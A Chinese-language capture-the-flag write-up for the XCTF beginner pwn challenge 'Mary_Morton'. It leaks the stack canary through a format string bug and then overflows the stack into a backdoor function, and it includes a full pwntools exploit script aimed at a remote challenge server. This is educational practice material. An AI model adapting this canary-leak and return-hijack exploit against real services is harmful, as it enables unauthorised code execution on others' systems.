攻防世界-pwn新手区-Mary_Morton
64位程序,并且开启NX和Canary保护,还有Partial RELRO, got表有写权限
执行程序
使用ida查看
执行2存在字符串漏洞
1中存在栈溢出漏洞
同时存在后门函数
思路:首先利用字符串漏洞,泄露canary的值,然后在函数要返回时再填回去,之后利用栈溢出,让其返回到后门函数
先看一下字符串的偏移
可以看到偏移了6个字节
确定canary和输入函数之间的偏移
buf和v2相差了0x90-0x8=0x88,0x88/8=17,17+6=23
因为64位的程序,每个格式字符串都是8字节,同理32位是4字节
然后再利用栈溢出调用后门函数即可get flag
脚本如下
from pwn import *
#context.log_level = 'debug' //添加这个可以看到调试过程
r=remote('111.198.29.45',53501)
r.recvuntil('3. Exit the battle')
r.sendline('2') //先进入格式化函数泄露cannary
r.sendline('%23$p') //泄露cannary
r.recvuntil('0x')
canary=int(r.recv(16),16) //接收16个字节
print (canary)
flag_addr=0x4008da
payload='a'*0x88+p64(canary)+'a'*8+p64(flag_addr)
r.recvuntil('3. Exit the battle')
r.sendline('1')
r.sendline(payload)
r.interactive()
解释
程序具有canary保护
栈帧情况如下
所以,覆盖返回地址的话,需要0x90-0x8=0x88覆盖局部变量,然后放上canary的值,在8个“a”覆盖ebp,最后加上system的返回地址既可以。